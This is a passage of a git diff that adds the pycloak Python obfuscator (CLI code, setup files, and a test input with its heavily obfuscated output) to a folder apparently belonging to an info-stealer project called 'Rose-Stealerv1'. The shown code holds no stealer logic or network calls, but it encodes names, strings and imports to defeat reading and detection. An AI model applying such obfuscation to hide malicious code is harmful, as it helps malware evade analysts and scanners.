+```bash +$ git clone https://github.com/addi00000/pycloak.git +$ cd pycloak +$ pip install . +$ pycloak -h +``` +``` +usage: main.py [-h] [-o OUTPUT] [-d] file + +Obfuscate Python code + +positional arguments: + file File to obfuscate + +options: + -h, --help show this help message and exit + -o OUTPUT, --output OUTPUT + Output file + -d, --debug Enable debug logging +``` + +## Known Issues / Limitations +* String obfuscation follows a simple pattern, which can be easily reversed by a program though it may still be tedious. +* F-strings are not supported. +* Tuples are not supported. + +## Contributing + +Feature additions and bug fixes/reports are welcome. Please open an issue or pull request. + +## License + +This project is licensed under the AGPL License - see the `LICENSE` file for details. diff --git a/Rose-Stealerv1/resources/utils/obfuscation/pycloak-main/pycloak/__init__.py b/Rose-Stealerv1/resources/utils/obfuscation/pycloak-main/pycloak/__init__.py new file mode 100644 index 0000000..473a0f4 diff --git a/Rose-Stealerv1/resources/utils/obfuscation/pycloak-main/pycloak/main.py b/Rose-Stealerv1/resources/utils/obfuscation/pycloak-main/pycloak/main.py new file mode 100644 index 0000000..7ece8d3 --- /dev/null +++ b/Rose-Stealerv1/resources/utils/obfuscation/pycloak-main/pycloak/main.py @@ -0,0 +1,275 @@ +import argparse +import ast +import base64 +import builtins as __builtins__ +import os +import random +import string + +import colorama; colorama.init(convert=True) + +__ALIASES__ = [] + +def main() -> None: + args = ParseArgs().args + + with open(args.file, 'r', encoding='utf-8') as f: + code = f.read() + Logging.success(f'Loaded file {args.file}') + + operations = [ + Methods.alias_constants, + Methods.alias_funcs, + Methods.alias_vars, + Methods.alias_iterators, + Methods.alias_imports, + Methods.alias_builtins, + Methods.alias_strings(), + ] + + for operation in operations: + code = operation(code) + + with open(args.output, 'w', encoding='utf-8') as f: + f.write(code) + Logging.success(f'Wrote file {args.output}') + +class Methods: + def alias_builtins(code: str) -> str: + Logging.event('Aliasing builtins') + builtins = dir(__builtins__) + + tree = ast.parse(code) + for node in ast.walk(tree): + if isinstance(node, ast.Name): + if node.id in builtins: + if not node.id.startswith('__'): + Logging.debug(f'Aliased builtin {node.id}') + node.id = f'__builtins__.__dict__[\'{node.id}\']' + else : + Logging.debug(f'Aliased builtin {node.id}') + node.id = Methods.alias_builtins(f'eval(dir(__builtins__)[dir(__builtins__).index(\'{node.id}\')])') + + return ast.unparse(tree) + + def alias_constants(code: str) -> str: + Logging.event('Aliasing constants') + + aliases = { + 'True': '(()==())', + 'False': '(()==[])', + 'None': '(lambda: None)()', + } + + tree = ast.parse(code) + for node in ast.walk(tree): + if isinstance(node, ast.Constant): + if repr(node.value) in aliases: + code = code.replace(repr(node.value), aliases[repr(node.value)]) + Logging.debug(f'Aliased \'{node.value}\' to \'{aliases[repr(node.value)]}\'') + + return code + + def alias_funcs(code: str) -> str: + Logging.event('Aliasing functions') + + tree = ast.parse(code) + for node in ast.walk(tree): + if isinstance(node, ast.FunctionDef): + alias = f'__{"".join(random.choices(string.digits, k=10))}__' + __ALIASES__.append((node.name, alias)) + Logging.debug(f'Aliased function \'{node.name}\' to \'{alias}\'') + node.name = alias + + + elif isinstance(node, ast.Call): + for alias in __ALIASES__: + if isinstance(node.func, ast.Name): + if node.func.id == alias[0]: + node.func.id = alias[1] + Logging.debug(f'Aliased function call \'{alias[0]}\' to \'{alias[1]}\'') + + return ast.unparse(tree) + + def alias_vars(code: str) -> str: + Logging.event('Aliasing variables') + + tree = ast.parse(code) + for node in ast.walk(tree): + if isinstance(node, ast.Assign): + for target in node.targets: + if isinstance(target, ast.Attribute): + continue + + if isinstance(target, ast.Subscript): + continue + + if isinstance(target, ast.Tuple): + for target in target.elts: + alias = f'__{"".join(random.choices(string.digits, k=10))}__' + __ALIASES__.append((target.id, alias)) + Logging.debug(f'Aliased variable \'{target.id}\' to \'{alias}\'') + target.id = alias + + else: + alias = f'__{"".join(random.choices(string.digits, k=10))}__' + __ALIASES__.append((target.id, alias)) + Logging.debug(f'Aliased variable \'{target.id}\' to \'{alias}\'') + target.id = alias + + elif isinstance(node, ast.Name): + for alias in __ALIASES__: + if node.id == alias[0]: + node.id = alias[1] + Logging.debug(f'Aliased variable \'{alias[0]}\' to \'{alias[1]}\'') + + + return ast.unparse(tree) + + def alias_iterators(code: str) -> str: + Logging.event('Aliasing iterators') + + tree = ast.parse(code) + for node in ast.walk(tree): + if isinstance(node, ast.For): + if isinstance(node.target, ast.Tuple): + for target in node.target.elts: + alias = f'__{"".join(random.choices(string.digits, k=10))}__' + __ALIASES__.append((target.id, alias)) + Logging.debug(f'Aliased iterator \'{target.id}\' to \'{alias}\'') + target.id = alias + else: + alias = f'__{"".join(random.choices(string.digits, k=10))}__' + __ALIASES__.append((node.target.id, alias)) + Logging.debug(f'Aliased iterator \'{node.target.id}\' to \'{alias}\'') + node.target.id = alias + + elif isinstance(node, ast.Name): + for alias in __ALIASES__: + if node.id == alias[0]: + node.id = alias[1] + Logging.debug(f'Aliased iterator \'{alias[0]}\' to \'{alias[1]}\'') + + return ast.unparse(tree) + + def alias_imports(code: str) -> str: + Logging.event('Aliasing imports') + + imports = [] + tree = ast.parse(code) + for node in ast.walk(tree): + if isinstance(node, ast.Import): + for name in node.names: + imports.append(name.name) + elif isinstance(node, ast.ImportFrom): + for name in node.names: + imports.append((node.module, name.name)) + + code = code.splitlines() + for i, line in enumerate(code): + if line.startswith('import') or line.startswith('from'): + code[i] = '' + + code = '\n'.join(code) + + for imp in imports: + if isinstance(imp, tuple): + code = f'{imp[1]} = __builtins__.__dict__[\'__import__\'](\'{imp[0]}\').{imp[1]}\n' + code + Logging.debug(f'Aliased import \'{imp[0]}.{imp[1]}\'') + else: + code = f'{imp} = __builtins__.__dict__[\'__import__\'](\'{imp}\')\n' + code + Logging.debug(f'Aliased import \'{imp}\'') + + return code + + class alias_strings: + def b64_encode(self, string: str) -> str: + return '__builtins__.__dict__[\'__import__\'](\'base64\').b64decode(b\'{}\').decode(\'utf-8\')'.format(base64.b64encode(string.encode('utf-8')).decode('utf-8')) + + def int_encode(self, num: int) -> str: + equation = '' + while num > 0: + equation += str(random.randint(1, num)) + ' + ' + num -= int(equation.split(' + ')[-2]) + num = equation[:-3] + + char = random.choice(string.ascii_letters) + return '(lambda {char}: {char} + ({char} - {char}))({num})'.format(char=char, num=num) + + def barray_encode(self, string: str) -> str: + return 'bytes([{}]).decode(\'utf-8\')'.format(', '.join([self.int_encode(ord(c)) for c in string])) + + def __call__(self, code: str) -> str: + Logging.event('Aliasing strings') + + Logging.event(' Base64 encoding strings') + tree = ast.parse(code) + for node in ast.walk(tree): + if isinstance(node, ast.Str): + code = code.replace(repr(node.s), self.b64_encode(node.s)) + Logging.debug(f' Created Base64 encoding string \'{node.s}\'') + + int_aliases = [] + Logging.event(' Base64 encoding integers') + tree = ast.parse(code) + for node in ast.walk(tree): + if isinstance(node, ast.Num): + Logging.debug(f' Created Base64 encoding integer \'{node.n}\'') + + number = node.n + temp = f'__TEMP__{"".join(random.choices(string.digits, k=10))}__' + node.n = temp + code = ast.unparse(tree) + int_aliases.append((temp, number)) + + tree = ast.parse(code) + for node in ast.walk(tree): + if isinstance(node, ast.Str): + if node.s in [i[0] for i in int_aliases]: + for alias in int_aliases: + if node.s == alias[0]: + code = code.replace(repr(node.s), f'int({self.b64_encode(str(alias[1]))})') + Logging.debug(f' Aliased integer \'{alias[1]}\' to \'{node.s}\'') + + Logging.event(' Creating byte arrays') + tree = ast.parse(code) + for node in ast.walk(tree): + if isinstance(node, ast.Str): + code = code.replace(repr(node.s), self.barray_encode(node.s)) + Logging.debug(f' Created byte array for string \'{node.s}\'') + + return code + +class Logging: + def event(msg: str): + print(f'{colorama.Fore.MAGENTA}[EVENT] {msg}{colorama.Style.RESET_ALL}') + + def info(msg: str): + print(f'{colorama.Fore.BLUE}[INFO] {msg}{colorama.Style.RESET_ALL}') + + def debug(msg: str): + args = ParseArgs().args + if args.debug: + print(f'{colorama.Fore.YELLOW}[DEBUG] {msg}{colorama.Style.RESET_ALL}') + + def success(msg: str): + print(f'{colorama.Fore.GREEN}[SUCCESS] {msg}{colorama.Style.RESET_ALL}') + + def error(msg: str): + print(f'{colorama.Fore.RED}[ERROR] {msg}{colorama.Style.RESET_ALL}') + +class ParseArgs: + def __init__(self): + self.parser = argparse.ArgumentParser(description='Obfuscate Python code') + self.parser.add_argument('file', help='File to obfuscate') + self.parser.add_argument('-o', '--output', help='Output file') + self.parser.add_argument('-d', '--debug', action='store_true', help='Enable debug logging') + self.args = self.parser.parse_args() + + if not os.path.isfile(self.args.file): + Logging.error(f'File \'{self.args.file}\' does not exist') + exit(1) + + if not self.args.output: + self.args.output = self.args.file + '.obf.py' + Logging.info(f'No output file specified, using \'{self.args.output}\'') diff --git a/Rose-Stealerv1/resources/utils/obfuscation/pycloak-main/requirements.txt b/Rose-Stealerv1/resources/utils/obfuscation/pycloak-main/requirements.txt new file mode 100644 index 0000000..782e83a --- /dev/null +++ b/Rose-Stealerv1/resources/utils/obfuscation/pycloak-main/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/Rose-Stealerv1/resources/utils/obfuscation/pycloak-main/setup.py b/Rose-Stealerv1/resources/utils/obfuscation/pycloak-main/setup.py new file mode 100644 index 0000000..b1f2416 --- /dev/null +++ b/Rose-Stealerv1/resources/utils/obfuscation/pycloak-main/setup.py @@ -0,0 +1,35 @@ +from setuptools import setup, find_packages + +with open("README.md", "r", encoding="utf-8") as f: + __long_description__ = f.read() + +with open("requirements.txt", "r", encoding="utf-8") as f: + __requirements__ = f.read() + +__name__ = 'pycloak' +__version__ = '0.1.0' +__author__ = 'addi00000' +__author_email__ = 'addidix@proton.me' +__short_description__ = 'Python 3.x source code obfuscator for hiding and protecting production code.' +__url__ = 'https://github.com/addi00000/pycloak' +__license__ = 'AGPL-3.0' + +setup( + name=__name__, + version=__version__, + author=__author__, + author_email=__author_email__, + description=__short_description__, + long_description=__long_description__, + long_description_content_type="text/markdown", + url=__url__, + license=__license__, + packages=find_packages(), + python_requires='>=3.6', + install_requires=[__requirements__], + entry_points={ + 'console_scripts': [ + 'pycloak = pycloak.main:main', + ], + }, +) \ No newline at end of file diff --git a/Rose-Stealerv1/resources/utils/obfuscation/pycloak-main/tests/in.py b/Rose-Stealerv1/resources/utils/obfuscation/pycloak-main/tests/in.py new file mode 100644 index 0000000..b0d6214 --- /dev/null +++ b/Rose-Stealerv1/resources/utils/obfuscation/pycloak-main/tests/in.py @@ -0,0 +1,28 @@ +import random + +guesses_made = 0 + +name = input('Hello! What is your name?\n') + +number = random.randint(1, 20) +print ('Well, {0}, I am thinking of a number between 1 and 20.'.format(name)) + +while guesses_made < 6: + + guess = int(input('Take a guess: ')) + + guesses_made += 1 + + if guess < number: + print ('Your guess is too low.') + + if guess > number: + print ('Your guess is too high.') + + if guess == number: + break + +if guess == number: + print ('Good job, {0}! You guessed my number in {1} guesses!'.format(name, guesses_made)) +else: + print ('Nope. The number I was thinking of was {0}'.format(number)) \ No newline at end of file diff --git a/Rose-Stealerv1/resources/utils/obfuscation/pycloak-main/tests/out.py b/Rose-Stealerv1/resources/utils/obfuscation/pycloak-main/tests/out.py new file mode 100644 index 0000000..d6f4e5b --- /dev/null +++ b/Rose-Stealerv1/resources/utils/obfuscation/pycloak-main/tests/out.py @@ -0,0 +1,18 @@ +random = __builtins__.__dict__[__builtins__.__dict__[bytes([(lambda d: d + (d - d))(30 + 15 + 3 + 1 + 20 + 23 + 2 + 1), (lambda v: v + (v - v))(70 + 5 + 13 + 2 + 5), (lambda Y: Y + (Y - Y))(94 + 5 + 5 + 1), (lambda f: f + (f - f))(36 + 71 + 2), (lambda S: S + (S - S))(109 + 1 + 2), (lambda F: F + (F - F))(45 + 65 + 1), (lambda U: U + (U - U))(16 + 81 + 5 + 2 + 10), (lambda S: S + (S - S))(22 + 83 + 8 + 3), (lambda b: b + (b - b))(43 + 27 + 13 + 8 + 3 + 1), (lambda w: w + (w - w))(63 + 21 + 5 + 1 + 2 + 2 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))](bytes([(lambda K: K + (K - K))(52 + 16 + 19 + 10 + 1), (lambda e: e + (e - e))(78 + 1 + 7 + 8 + 3), (lambda D: D + (D - D))(46 + 18 + 41 + 7 + 3), (lambda h: h + (h - h))(80 + 2 + 17 + 2), (lambda V: V + (V - V))(24 + 29 + 1), (lambda O: O + (O - O))(36 + 3 + 9 + 4)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))).b64decode(b'X19pbXBvcnRfXw==').decode(bytes([(lambda J: J + (J - J))(13 + 55 + 36 + 6 + 7), (lambda b: b + (b - b))(54 + 34 + 13 + 2 + 10 + 1 + 1 + 1), (lambda V: V + (V - V))(44 + 12 + 16 + 29 + 1), (lambda b: b + (b - b))(10 + 32 + 2 + 1), (lambda x: x + (x - x))(27 + 22 + 7)]).decode(bytes([(lambda k: k + (k - k))(24 + 36 + 57), (lambda F: F + (F - F))(12 + 78 + 19 + 7), (lambda U: U + (U - U))(99 + 3), (lambda b: b + (b - b))(36 + 7 + 1 + 1), (lambda e: e + (e - e))(20 + 15 + 21)]).decode(bytes([(lambda O: O + (O - O))(21 + 56 + 31 + 5 + 4), (lambda a: a + (a - a))(26 + 7 + 61 + 13 + 4 + 5), (lambda F: F + (F - F))(83 + 18 + 1), (lambda I: I + (I - I))(13 + 19 + 1 + 10 + 2), (lambda y: y + (y - y))(5 + 31 + 9 + 1 + 4 + 4 + 1 + 1)]).decode(bytes([(lambda m: m + (m - m))(91 + 18 + 7 + 1), (lambda q: q + (q - q))(8 + 65 + 29 + 7 + 7), (lambda k: k + (k - k))(87 + 5 + 2 + 6 + 1 + 1), (lambda Q: Q + (Q - Q))(17 + 12 + 15 + 1), (lambda h: h + (h - h))(26 + 18 + 11 + 1)]).decode(bytes([(lambda E: E + (E - E))(14 + 98 + 4 + 1), (lambda Y: Y + (Y - Y))(13 + 53 + 8 + 17 + 24 + 1), (lambda V: V + (V - V))(98 + 1 + 2 + 1), (lambda k: k + (k - k))(42 + 1 + 1 + 1), (lambda s: s + (s - s))(31 + 19 + 4 + 2)]).decode(bytes([(lambda w: w + (w - w))(99 + 7 + 6 + 4 + 1), (lambda u: u + (u - u))(37 + 10 + 63 + 5 + 1), (lambda p: p + (p - p))(94 + 5 + 1 + 1 + 1), (lambda L: L + (L - L))(22 + 16 + 1 + 4 + 1 + 1), (lambda M: M + (M - M))(5 + 37 + 11 + 1 + 2)]).decode(bytes([(lambda V: V + (V - V))(68 + 33 + 8 + 2 + 2 + 3 + 1), (lambda r: r + (r - r))(110 + 3 + 1 + 2), (lambda l: l + (l - l))(69 + 25 + 2 + 1 + 5), (lambda A: A + (A - A))(21 + 9 + 2 + 12 + 1), (lambda a: a + (a - a))(17 + 23 + 14 + 1 + 1)]).decode(bytes([(lambda A: A + (A - A))(76 + 11 + 2 + 3 + 5 + 15 + 3 + 1 + 1), (lambda r: r + (r - r))(86 + 1 + 11 + 18), (lambda d: d + (d - d))(28 + 25 + 12 + 7 + 21 + 2 + 4 + 1 + 1 + 1), (lambda W: W + (W - W))(39 + 4 + 1 + 1), (lambda w: w + (w - w))(48 + 3 + 4 + 1)]).decode(bytes([(lambda A: A + (A - A))(47 + 22 + 13 + 30 + 4 + 1), (lambda I: I + (I - I))(2 + 94 + 6 + 6 + 2 + 6), (lambda q: q + (q - q))(52 + 31 + 16 + 1 + 1 + 1), (lambda c: c + (c - c))(3 + 32 + 10), (lambda o: o + (o - o))(55 + 1)]).decode(bytes([(lambda N: N + (N - N))(85 + 29 + 2 + 1), (lambda n: n + (n - n))(43 + 36 + 21 + 9 + 4 + 3), (lambda u: u + (u - u))(79 + 1 + 13 + 9), (lambda j: j + (j - j))(30 + 7 + 5 + 3), (lambda W: W + (W - W))(11 + 23 + 10 + 7 + 3 + 2)]).decode(bytes([(lambda O: O + (O - O))(76 + 3 + 25 + 4 + 7 + 2), (lambda e: e + (e - e))(45 + 41 + 13 + 13 + 4), (lambda t: t + (t - t))(97 + 2 + 3), (lambda e: e + (e - e))(45), (lambda R: R + (R - R))(33 + 20 + 3)]).decode(bytes([(lambda h: h + (h - h))(77 + 23 + 10 + 6 + 1), (lambda J: J + (J - J))(115 + 1), (lambda s: s + (s - s))(87 + 5 + 2 + 4 + 1 + 1 + 2), (lambda I: I + (I - I))(23 + 6 + 1 + 9 + 6), (lambda O: O + (O - O))(43 + 6 + 5 + 1 + 1)]).decode(bytes([(lambda Z: Z + (Z - Z))(70 + 40 + 3 + 2 + 2), (lambda c: c + (c - c))(107 + 2 + 4 + 3), (lambda W: W + (W - W))(78 + 23 + 1), (lambda e: e + (e - e))(19 + 13 + 9 + 1 + 3), (lambda s: s + (s - s))(46 + 6 + 4)]).decode(bytes([(lambda X: X + (X - X))(113 + 2 + 1 + 1), (lambda m: m + (m - m))(83 + 31 + 1 + 1), (lambda Z: Z + (Z - Z))(95 + 7), (lambda L: L + (L - L))(8 + 10 + 6 + 20 + 1), (lambda W: W + (W - W))(4 + 2 + 19 + 17 + 5 + 2 + 7)]).decode(bytes([(lambda T: T + (T - T))(22 + 15 + 38 + 19 + 10 + 9 + 3 + 1), (lambda J: J + (J - J))(100 + 11 + 3 + 1 + 1), (lambda v: v + (v - v))(68 + 1 + 4 + 23 + 6), (lambda A: A + (A - A))(33 + 7 + 2 + 2 + 1), (lambda p: p + (p - p))(23 + 21 + 7 + 1 + 4)]).decode(bytes([(lambda p: p + (p - p))(83 + 12 + 17 + 1 + 4), (lambda W: W + (W - W))(82 + 9 + 11 + 7 + 3 + 4), (lambda t: t + (t - t))(35 + 55 + 8 + 4), (lambda S: S + (S - S))(38 + 3 + 1 + 1 + 2), (lambda l: l + (l - l))(36 + 12 + 2 + 3 + 3)]).decode(bytes([(lambda Y: Y + (Y - Y))(48 + 42 + 6 + 9 + 7 + 2 + 3), (lambda S: S + (S - S))(69 + 27 + 8 + 10 + 1 + 1), (lambda w: w + (w - w))(18 + 25 + 34 + 22 + 3), (lambda T: T + (T - T))(23 + 6 + 6 + 8 + 1 + 1), (lambda y: y + (y - y))(33 + 7 + 3 + 6 + 3 + 1 + 3)]).decode(bytes([(lambda G: G + (G - G))(57 + 18 + 7 + 15 + 8 + 8 + 4), (lambda q: q + (q - q))(103 + 10 + 3), (lambda k: k + (k - k))(80 + 10 + 8 + 1 + 3), (lambda Q: Q + (Q - Q))(34 + 2 + 5 + 3 + 1), (lambda w: w + (w - w))(8 + 17 + 28 + 2 + 1)]).decode(bytes([(lambda T: T + (T - T))(35 + 63 + 9 + 3 + 1 + 5 + 1), (lambda m: m + (m - m))(44 + 16 + 6 + 16 + 15 + 12 + 3 + 3 + 1), (lambda Y: Y + (Y - Y))(31 + 9 + 48 + 4 + 6 + 3 + 1), (lambda t: t + (t - t))(20 + 21 + 2 + 1 + 1), (lambda U: U + (U - U))(11 + 20 + 25)]).decode(bytes([(lambda Y: Y + (Y - Y))(3 + 29 + 59 + 11 + 8 + 7), (lambda O: O + (O - O))(91 + 15 + 8 + 2), (lambda r: r + (r - r))(88 + 13 + 1), (lambda g: g + (g - g))(18 + 24 + 3), (lambda A: A + (A - A))(55 + 1)]).decode(bytes([(lambda v: v + (v - v))(12 + 103 + 2), (lambda j: j + (j - j))(96 + 4 + 16), (lambda o: o + (o - o))(89 + 9 + 4), (lambda p: p + (p - p))(37 + 2 + 3 + 1 + 2), (lambda Z: Z + (Z - Z))(24 + 14 + 13 + 3 + 2)]).decode(bytes([(lambda c: c + (c - c))(61 + 5 + 38 + 12 + 1), (lambda T: T + (T - T))(35 + 5 + 58 + 1 + 16 + 1), (lambda B: B + (B - B))(27 + 61 + 5 + 3 + 3 + 2 + 1), (lambda H: H + (H - H))(40 + 5), (lambda V: V + (V - V))(54 + 1 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))))))))))))))))))))))))](__builtins__.__dict__[__builtins__.__dict__[bytes([(lambda d: d + (d - d))(30 + 15 + 3 + 1 + 20 + 23 + 2 + 1), (lambda v: v + (v - v))(70 + 5 + 13 + 2 + 5), (lambda Y: Y + (Y - Y))(94 + 5 + 5 + 1), (lambda f: f + (f - f))(36 + 71 + 2), (lambda S: S + (S - S))(109 + 1 + 2), (lambda F: F + (F - F))(45 + 65 + 1), (lambda U: U + (U - U))(16 + 81 + 5 + 2 + 10), (lambda S: S + (S - S))(22 + 83 + 8 + 3), (lambda b: b + (b - b))(43 + 27 + 13 + 8 + 3 + 1), (lambda w: w + (w - w))(63 + 21 + 5 + 1 + 2 + 2 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))](bytes([(lambda K: K + (K - K))(52 + 16 + 19 + 10 + 1), (lambda e: e + (e - e))(78 + 1 + 7 + 8 + 3), (lambda D: D + (D - D))(46 + 18 + 41 + 7 + 3), (lambda h: h + (h - h))(80 + 2 + 17 + 2), (lambda V: V + (V - V))(24 + 29 + 1), (lambda O: O + (O - O))(36 + 3 + 9 + 4)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))).b64decode(b'X19pbXBvcnRfXw==').decode(bytes([(lambda J: J + (J - J))(13 + 55 + 36 + 6 + 7), (lambda b: b + (b - b))(54 + 34 + 13 + 2 + 10 + 1 + 1 + 1), (lambda V: V + (V - V))(44 + 12 + 16 + 29 + 1), (lambda b: b + (b - b))(10 + 32 + 2 + 1), (lambda x: x + (x - x))(27 + 22 + 7)]).decode(bytes([(lambda k: k + (k - k))(24 + 36 + 57), (lambda F: F + (F - F))(12 + 78 + 19 + 7), (lambda U: U + (U - U))(99 + 3), (lambda b: b + (b - b))(36 + 7 + 1 + 1), (lambda e: e + (e - e))(20 + 15 + 21)]).decode(bytes([(lambda O: O + (O - O))(21 + 56 + 31 + 5 + 4), (lambda a: a + (a - a))(26 + 7 + 61 + 13 + 4 + 5), (lambda F: F + (F - F))(83 + 18 + 1), (lambda I: I + (I - I))(13 + 19 + 1 + 10 + 2), (lambda y: y + (y - y))(5 + 31 + 9 + 1 + 4 + 4 + 1 + 1)]).decode(bytes([(lambda m: m + (m - m))(91 + 18 + 7 + 1), (lambda q: q + (q - q))(8 + 65 + 29 + 7 + 7), (lambda k: k + (k - k))(87 + 5 + 2 + 6 + 1 + 1), (lambda Q: Q + (Q - Q))(17 + 12 + 15 + 1), (lambda h: h + (h - h))(26 + 18 + 11 + 1)]).decode(bytes([(lambda E: E + (E - E))(14 + 98 + 4 + 1), (lambda Y: Y + (Y - Y))(13 + 53 + 8 + 17 + 24 + 1), (lambda V: V + (V - V))(98 + 1 + 2 + 1), (lambda k: k + (k - k))(42 + 1 + 1 + 1), (lambda s: s + (s - s))(31 + 19 + 4 + 2)]).decode(bytes([(lambda w: w + (w - w))(99 + 7 + 6 + 4 + 1), (lambda u: u + (u - u))(37 + 10 + 63 + 5 + 1), (lambda p: p + (p - p))(94 + 5 + 1 + 1 + 1), (lambda L: L + (L - L))(22 + 16 + 1 + 4 + 1 + 1), (lambda M: M + (M - M))(5 + 37 + 11 + 1 + 2)]).decode(bytes([(lambda V: V + (V - V))(68 + 33 + 8 + 2 + 2 + 3 + 1), (lambda r: r + (r - r))(110 + 3 + 1 + 2), (lambda l: l + (l - l))(69 + 25 + 2 + 1 + 5), (lambda A: A + (A - A))(21 + 9 + 2 + 12 + 1), (lambda a: a + (a - a))(17 + 23 + 14 + 1 + 1)]).decode(bytes([(lambda A: A + (A - A))(76 + 11 + 2 + 3 + 5 + 15 + 3 + 1 + 1), (lambda r: r + (r - r))(86 + 1 + 11 + 18), (lambda d: d + (d - d))(28 + 25 + 12 + 7 + 21 + 2 + 4 + 1 + 1 + 1), (lambda W: W + (W - W))(39 + 4 + 1 + 1), (lambda w: w + (w - w))(48 + 3 + 4 + 1)]).decode(bytes([(lambda A: A + (A - A))(47 + 22 + 13 + 30 + 4 + 1), (lambda I: I + (I - I))(2 + 94 + 6 + 6 + 2 + 6), (lambda q: q + (q - q))(52 + 31 + 16 + 1 + 1 + 1), (lambda c: c + (c - c))(3 + 32 + 10), (lambda o: o + (o - o))(55 + 1)]).decode(bytes([(lambda N: N + (N - N))(85 + 29 + 2 + 1), (lambda n: n + (n - n))(43 + 36 + 21 + 9 + 4 + 3), (lambda u: u + (u - u))(79 + 1 + 13 + 9), (lambda j: j + (j - j))(30 + 7 + 5 + 3), (lambda W: W + (W - W))(11 + 23 + 10 + 7 + 3 + 2)]).decode(bytes([(lambda O: O + (O - O))(76 + 3 + 25 + 4 + 7 + 2), (lambda e: e + (e - e))(45 + 41 + 13 + 13 + 4), (lambda t: t + (t - t))(97 + 2 + 3), (lambda e: e + (e - e))(45), (lambda R: R + (R - R))(33 + 20 + 3)]).decode(bytes([(lambda h: h + (h - h))(77 + 23 + 10 + 6 + 1), (lambda J: J + (J - J))(115 + 1), (lambda s: s + (s - s))(87 + 5 + 2 + 4 + 1 + 1 + 2), (lambda I: I + (I - I))(23 + 6 + 1 + 9 + 6), (lambda O: O + (O - O))(43 + 6 + 5 + 1 + 1)]).decode(bytes([(lambda Z: Z + (Z - Z))(70 + 40 + 3 + 2 + 2), (lambda c: c + (c - c))(107 + 2 + 4 + 3), (lambda W: W + (W - W))(78 + 23 + 1), (lambda e: e + (e - e))(19 + 13 + 9 + 1 + 3), (lambda s: s + (s - s))(46 + 6 + 4)]).decode(bytes([(lambda X: X + (X - X))(113 + 2 + 1 + 1), (lambda m: m + (m - m))(83 + 31 + 1 + 1), (lambda Z: Z + (Z - Z))(95 + 7), (lambda L: L + (L - L))(8 + 10 + 6 + 20 + 1), (lambda W: W + (W - W))(4 + 2 + 19 + 17 + 5 + 2 + 7)]).decode(bytes([(lambda T: T + (T - T))(22 + 15 + 38 + 19 + 10 + 9 + 3 + 1), (lambda J: J + (J - J))(100 + 11 + 3 + 1 + 1), (lambda v: v + (v - v))(68 + 1 + 4 + 23 + 6), (lambda A: A + (A - A))(33 + 7 + 2 + 2 + 1), (lambda p: p + (p - p))(23 + 21 + 7 + 1 + 4)]).decode(bytes([(lambda p: p + (p - p))(83 + 12 + 17 + 1 + 4), (lambda W: W + (W - W))(82 + 9 + 11 + 7 + 3 + 4), (lambda t: t + (t - t))(35 + 55 + 8 + 4), (lambda S: S + (S - S))(38 + 3 + 1 + 1 + 2), (lambda l: l + (l - l))(36 + 12 + 2 + 3 + 3)]).decode(bytes([(lambda Y: Y + (Y - Y))(48 + 42 + 6 + 9 + 7 + 2 + 3), (lambda S: S + (S - S))(69 + 27 + 8 + 10 + 1 + 1), (lambda w: w + (w - w))(18 + 25 + 34 + 22 + 3), (lambda T: T + (T - T))(23 + 6 + 